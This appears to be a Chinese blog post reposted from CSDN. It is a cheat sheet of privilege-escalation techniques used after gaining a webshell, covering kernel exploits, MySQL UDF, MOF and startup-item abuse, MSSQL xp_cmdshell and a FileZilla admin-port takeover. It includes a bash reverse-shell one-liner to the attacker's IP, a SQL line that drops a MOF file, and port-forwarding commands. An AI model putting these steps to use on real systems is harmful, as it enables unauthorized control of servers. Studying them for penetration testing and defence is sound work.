内网渗透——权限提升
其他
2020-03-23 10:02:10
阅读次数: 0
提权目的:
- 有时候,通过某些方式(如上传Webshell)获取执行命令的shell,但是会因为权限限制而无法执行某些命令。这时候为了“扩大战果”就需要利用提权,来让原本的低权限(如只允许列目录)-->高权限(拥有修改文件的能力)。
|
提权方式:
本地漏洞提权windows:
本地服务提权漏洞:
- iis6 iis5 (https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-020)
|
- ftp(需要本身的ftp服务权限就很高,ftp,serv-u ftp,g6ftp等)
|
- smb(MS17-010)---在msf框架下成功很高,可以正常放回cmdshell
|
|
系统内核提权漏洞
Windows本地系统提权:
|
|
- 通过systeminfo对比补丁编号,寻找exp。
|
|
|
- 上传到哪
- 网站的upload
- 网站中存在任意用户可读可写可执行目录
- Windows2003
- RECYCLER 回收站
- windows2008
- C:\Windows\Temp\
|
本地漏洞提权linux:
|
- uname -a (Linux查看操作系统内核信息)
- cat /proc/version (Linux查看当前操作系统版本信息)
- cat /etc/issue 或cat /etc/redhat-release(Linux查看版本当前操作系统发行版信息)
- 判断出来内核版本之后,就去找exp,然后上传并编译执行
- 获取交互式shell(反弹端口
- bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1
|
|
- 可读可写可执行目录 /tmp
- gcc exp.c –o exp 或者有的需要加编译选项:例如脏牛漏洞的
- gcc -pthread dirty.c -o dirty -lcrypt
|
数据库提权mysql:
|
- 具有mysql的root权限,且mysql以system权限运行
- 具有执行sql语句的权限,webshell或者外连皆可
|
UDF提权:
|
- 是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
|
|
- UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
- 要想利用udf,必须上传udf.dll作为udf的执行库。
- mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
|
|
- 1、判断mysql版本
- mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
- mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
- 2、再mysql里输入
- select @@basedir
- show variables like ‘%plugin%’ 寻找mysql安装路径
- 该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
|
|
|
MySQL数据库-开机启动项提权:
|
- 利用mysql,将后门写入开机自启动项。同时因为是开机自启动,再写入之后,需要重启目标服务器。(这个要求mysql的权限就很高,至少是管理员权限甚至是system
|
|
- C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
- 或者C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\(windows2003及xp的路径)
|
MOF提权:
|
- mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
- mof文件通过Mofcomp.exe编译执行。
|
|
- 1、 首先找个可写的目录,将我们的MOF文件上传上去。
- 2、 执行以下sql语句,mof文件内的命令便会执行。
- select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
- 注:仅适用于windows系统。
- 3、利用2进制转换16进制完成。
|
MSSQL提权-sa用户:
- 所谓利用数据进行提权,利用的其实是数据库的运行权限,所以只要我们满足以下条件即可进行提权:
- 1、 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。
|
- 2、 必须可以以某种方式执行sql语句,例如:webshell或者是1433端口的连接。
|
|
过程:
- MSSQL在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比管理员小;而在2003以上的版本,则为最高权限。
|
- 获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
|
- 通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
|
- Sa作为mssql的默认最高权限的账户,在正常情况下,可以通过xp_cmdshell等方式执行系统命令。
|
第三软件提权:
|
- FileZilla是一个免费开源的FTP软件,分为客户端版本和服务器版本,具备所有的FTP软件功能。可控性、有条理的界面和管理多站点的简化方式使得Filezilla客户端版成为一个方便高效的FTP客户端工具,而FileZilla Server则是一个小巧并且可靠的支持FTP&SFTP的FTP服务器软件。
- Filezilla和普通Web网站一样,前台有普通FTP账户执行上传、下载、删除等动作,后台则有一个管理员控制台来设置前台的账户以及账户的权限。 前台就是21端口,而后台默认是14147端口。我们的提权方式就是,直接非法连接14147端口,非法登录远程的Filezilla,创建一个拥有全部硬盘目录权限的FTP账户。
|
|
- tasklist:
- FileZilla Server exe
|
|
- Lcx.exe工具:
- Lcx.exe -tran 对外开放端口 转发的ip 转发的端口
- Lcx.exe –tran 14148 127.0.0.1 14147
|
发布了50 篇原创文章 ·
获赞 167 ·
访问量 1万+
转载自blog.csdn.net/cldimd/article/details/105040736